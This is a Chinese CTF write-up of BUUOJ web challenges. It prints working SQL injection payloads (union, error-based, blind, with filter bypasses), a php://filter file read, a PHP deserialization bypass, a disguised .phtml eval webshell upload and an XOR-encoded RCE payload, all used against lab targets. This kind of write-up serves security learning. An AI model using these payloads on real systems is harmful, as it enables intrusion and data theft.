前幾天開始了 BUUOJ 的刷題之旅(一方面某些原因菜到有點自閉,一方面 adworld 有點不太穩)本來準備按一波順序寫,但是堆堆跟我說起了這個系列題,於是就去刷了一波,感覺還挺好玩。(不愧是一分的水題)

Easy SQL

SQL Injection

這題一開始給了個登錄的畫面,本來以為是像之前春秋的公益賽一樣,會先登錄然後再在裡面放注入的地方。但是無奈怎麼都登不上去,於是順手嘗試了一下。.../check.php?username=999%27%20union%20select%201%2C2%20%23&password=999

沒想到這隨便試的一手試準了,給了一條白色的回顯(前排吐槽界面設計)The used SELECT statements have a different number of columns 。拿到這波提示以後就很容易地試出了數據庫的列數,最後的 flag 就一下子出來了 (把背景 block 掉的我差點沒看見 flag ,還好看了一手網頁源代碼)紅黑白的三色搭配起來真的不好看

PS 我好像寫得太複雜了,其實只要登錄上就行。所以應該可以用 ' or 1=1 # 啥的直接拿到 flag。

1
flag{c39d07f5-6b36-4255-b98b-9a66c7144c05}

Havefun

POST & GET Trick

這題給了個很萌的網頁,觀察了一會兒網頁上的貓之後,沒思路的我看了一手網頁源代碼。發現了這樣一段代碼被註釋掉了。

1
2
3
4
5
$cat = $_GET['cat'];
echo $cat;
if($cat == 'dog'){
echo 'Syc{cat_cat_cat_cat}';
}

所以順勢給了網頁一個參數 cat=dog 之後,flag 就出現在了網頁上。

1
flag{a84da6ed-7606-45b4-b97e-12e6d57e8819}

Secret File

302PHP 偽協議

一開始看到題目還以為是文件上傳啥的,點進去是個紅配黑的界面。查看一手源碼之後可以跳轉兩次,但是第二次跳轉的時候直接提示“查閱完畢”。反覆兩次之後發現鏈接被跳轉了,於是猜測中間的 action.php 有點東西。於是上了一手 Python,帶上 allow_redirects=False 的參數跑了一波 request,然後成功拿到了夾在跳轉中間的 secr3t.php。很騷的是這個頁面打開是一段 PHP 代碼。(?代碼審計)一開始我沒管,直接照著提示去了flag.php,然後沒有成功拿到 flag。

推測要從 secr3t.php 這裡想辦法直接輸出 PHP 文件。正好之前看過的視頻裡面講到過 filterphp://。於是回去仔細看了一手那段 PHP 代碼。

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../") || stristr($file,"input") || stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php裡
?>

然後照著之前的葫蘆畫了個這樣的瓢 .../secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php 然後成功拿到了一長串 base64 編碼。

1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZjNhOTMxZDAtODU3OS00NGJiLThiODctMjYxODRiYWZmYzlkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解碼之後是這樣的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在這裡";
$flag = 'flag{f3a931d0-8579-44bb-8b87-26184baffc9d}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

成功拿到 flag

1
flag{f3a931d0-8579-44bb-8b87-26184baffc9d}

LoveSQL

SQL Injection

一如既往熟悉的界面,隨手輸了個 admin' # 就登進去了,但是除了一行字啥也沒有 Your password is 'fbc72bd807fe8419b27393707199b18e'。於是退回去試了一波常規操作,構造一個這樣的 payload .../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(table_name)%2C3%20from%20information_schema.tables%20where%20table_schema=database()%20%23&password=123 成功爆出了表。

1
2
Hello geekuser,l0ve1ysq1!
Your password is '3'

於是繼續常規操作,.../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(column_name)%2C3%20from%20information_schema.columns%20where%20table_schema=database()%20%23&password=123 成功爆出列。

1
Hello id,username,password,id,username,password!

到這裡我懵了一會兒,他沒有 flag 啥的列,我還以為找錯地方了。後來試了試 password 發現我想多了。用 .../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(password)%2C3%20from%20l0ve1ysq1%20%23&password=123 成功拿到 flag。

1
flag{e3d9d46f-a313-45bf-86b8-31b46fa246ce}

Http

Headers

這題的網頁設計終於好看寫了OwO 上來沒看到啥,所以就看了一手源碼,找到了 Secret.php。直接訪問一波,然後跟著各種提示,添加如下 header。

1
2
3
X-Forwarded-For: localhost
User-Agent: Syclover
Referer: https://www.Sycseret.com

訪問之後成功拿到 flag。

1
flag{39ca0d2c-d886-456e-ad91-98f1bf1fe95c}

BabySQL

SQL Injection

依舊是熟悉的配方,上手拿著上次的 payload 試了一手,發現報錯了,然後換了個簡單的 .../check.php?username=nullnull%27%20or%201=1%20%23&password=123 依舊報錯了。仔細看看報錯,發現我語句裡的 or 沒了。查了一波資料,得知可以雙寫關鍵字來繞過過濾。於是試了一手 .../check.php?username=nullnull%27%20oorr%201=1%20%23&password=123 發現登錄成功了。於是照著前面的 payload 雙寫關鍵字。

1
2
3
4
5
6
7
8
9
10
.../check.php?username=nullnull%27%20ununionion%20selselectect%201%2Cgroup_concat(table_name)%2C3%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=database()%20%23&password=123

Hello b4bsql,geekuser!
Your password is '3'


.../check.php?username=nullnull%27%20ununionion%20selselectect%201%2Cgroup_concat(column_name)%2C3%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema=database()%20%23&password=123

Hello id,username,password,id,username,password!
Your password is '3'

最後用 .../check.php?username=nullnull%27%20ununionion%20selselectect%201%2Cgroup_concat(passwoorrd)%2C3%20frfromom%20b4bsql%20%23&password=123 成功拿到 flag。

1
flag{e53f0586-f83e-4183-8dba-c12dc4a84383}

HardSQL

SQL Injection

這題用老套路上去就被懟“臭弟弟”了,試了一手,發現大部分關鍵字好像還在,但是空格啥的符號都沒了, union 這個關鍵字也沒了。於是就想著走報錯注入的思路了。

一開始瘋狂報錯(沒用的那種),然後去補了一波報錯注入的知識點。然後整了個簡單的試了試 .../check.php?username=admin%27or(updatexml(1,concat(user(),0x7e,version()),1))%23&password=123 然後發現有了回顯 XPATH syntax error: '@localhost~10.3.18-MariaDB'。於是照著整了個爆表的 payload .../check.php?username=
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
成功拿到表 H4rDsq1

依照套路,用 .../check.php?username=
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=123
成功拿到列 id,username,password

最後,用 .../check.php?username=
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123
拿到了半個 flag flag{128c8f16-6d62-4b41-b632-ba搞人心態成功

再次查了一波,用個 right() 拿到了另一半, .../check.php?username=
admin%27or(updatexml(1,concat(0x7e,(select(right(group_concat(password),20))from(H4rDsq1)),0x7e),1))%23&password=123
。最後拼接起來,成功拿到 flag。

1
flag{128c8f16-6d62-4b41-b632-ba18b718684a}

BuyFlag

CookiePOST & GET Trick

這題上來給了個很像 Http 那題的網頁,於是就看了一手源碼,成功找到入口 pay.php。進去之後依舊沒什麼頭緒——完全沒有可以輸入的地方。倒是網頁本身給了不少提示,於是看了一手源碼,發現了一段註釋。

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

於是構造了一個參數 password=404%250 ,POST 過去之後好像沒啥反應。其實是它的 Cookie 裡還有點東西,把 Cookie 的 user:0 改成 user:1 之後出現了新的提示。

1
2
3
you are Cuiter
Password Right!
Pay for the flag!!!hacker!!!

於是接著構造 POST 的參數 money=1000000000 ,結果得到了數字過長的提示 Nember lenth is too long 。到這個地方我突然有點迷了,於是去問了堆堆,結果他說他猜出來這是 strcmp 的漏洞(我真的猜不出),於是構造一波參數 money[]=1這個地方用科學計數法也可以構造,寫作 money=1e9 ,這樣解釋更加好一些。(via 堆堆

最後用 password=404%250&money[]=1 的參數成功拿到 flag。

1
flag{40e309cf-6975-439d-912d-0c66009cd05e}

PHP

Source LeakUnserialize

打開之後看到了一隻貓貓,可以用鼠標操控毛線球逗它玩,頁面上方還有“備份”的提示。於是咱用 wwwscan 掃描了一下,順利下載到了 .../www.zip。看了一下文件,發現以下主要代碼。

1
2
3
//index.php
$select = $_GET['select'];
$res=unserialize(@$select);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//class.php
...
function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
...

很明顯這裡考了一個反序列化的操作,我把他的代碼稍作修改,看了一下序列化的結果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo serialize(new Name('admin',100));
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __destruct(){
if ($this->password != 100) {
die();
}

}
}

輸出的結果是 O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}。因為還要繞過 __wakeup(),所以要把上述輸出的 2 改成 3 或者一個更大的數。然後因為 username 和 password 都是私有成員,所以把類名和成員名前面以空格輸出的 null 字符換成 \0。

最後將請求 url 拼接起來 .../?select=O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}。使用 Python 的 Requests 庫訪問,成功拿到 flag。(我也不知道為什麼直接 HackBar 訪問不顯示 flag)

1
flag{14414a53-1fe9-4623-a67b-07b581d4bbcb}

Knife

這題很明顯地提示了使用一波菜刀,於是果斷用菜刀連上去。一開始用菜刀的文件管理找了很久,並沒有找到 flag。於是就打開了一波虛擬終端,整了一波 find / -name flag。在一堆 Permission Denied 刷過之後找到了 /flag。然後執行一波 cat /flag 就成功地拿到了 flag。

1
flag{3d1c3437-1ea2-45ea-9660-5d304e2b43c5}

Upload

Upload

打開之後是個樸素的上傳界面,首先隨便寫了句 phpinfo 偽裝成 png 傳上去,結果提示不能含有字符 <?,於是果斷換了一種只有 php 5.x 可以執行的格式(事實證明還是管的),但是依舊被識別了。一番查找之後在文件頭部加上了 GIF89a? 成功過掉這一個點。結果在改拓展名的時候又失敗了,提示不能用 .php 拓展名。搜索了一波發現可以用 .phtml 這個後綴。於是一番修改之後,“圖片”傳了上去,一句話木馬得以執行。

1
2
GIF89a?
<script language="php">eval($_POST['Citrone'])</script>

用菜刀連上之後,進虛擬終端裡直接 cat /flag 就能得到 flag。

1
flag{14129955-5097-4e0d-91ff-b200f9a11b5d}

RCE ME

RCEAntSword

題目一開始就給了段很頂的代碼,直接把字母數字都過濾了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>

一番查找之下找到了神奇操作,通過其他字符的異或得到字母和數字來構造指令。原理參考 於是我當即用可以使用的各種字符相互異或打了個表,然後篩選出了可構成字母和數字的組合。然後照著構造了 code=$_=%27`{{{%27^%27?%3C%3E/%27;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%22l%22]) 這個 payload,成功連上。但是因為過濾了太多東西,導致終端命令幾乎沒法執行。

在一番查詢之後找到了蟻劍,輾轉在 Kali Linux 裝上之後用上了 bypass disable 的插件,然後成功執行了 readflag 讀取到了flag。

1
flag{b4c4e9fb-ea8c-4351-98e1-b1e8e5794411}

FinalSQL

SQL Injection

這題其實需要一點仔細的觀察,跟之前開門見山的注入點有點不一樣,給出的賬號和密碼的框並不是注入的地方。點完五個按鈕可以拿到“第六個按鈕”的暗示,於是看了一手源碼,發現有一行代碼被註釋掉了,取消註釋發現了一個框,請求是 ../search.php?id=,也就是那幾個按鈕的 ID。所有的結果都出現過了,其實一開始我是沒有思路的,後來被提醒了這波是盲注,於是就構造了個 (ascii(substr((select(database())),1,1))>1)^0 試了一手,發現大於和小於的結果的確不一樣(分別會對應 id=1id=0 的結果),於是拿出之前寫好的二分模板,略作修改跑了起來。

1
2
3
4
5
6
#爆表
(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))," . $i . ",1))>" . $_mid . ")^0
#爆列
(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database()))," . $i . ",1))>" . $_mid . ")^0
#爆出 flag
(ascii(substr((select(group_concat(password))from(F1naI1y))," . $i . ",1))>" . $_mid . ")^0

其實這題還是有點心機的,flag 放在了很長的 password 裡面(總共200+字符,如果不用二分得跑很久)。

1
flag{43d07021-39af-481a-a873-3f9e1d0a29c0}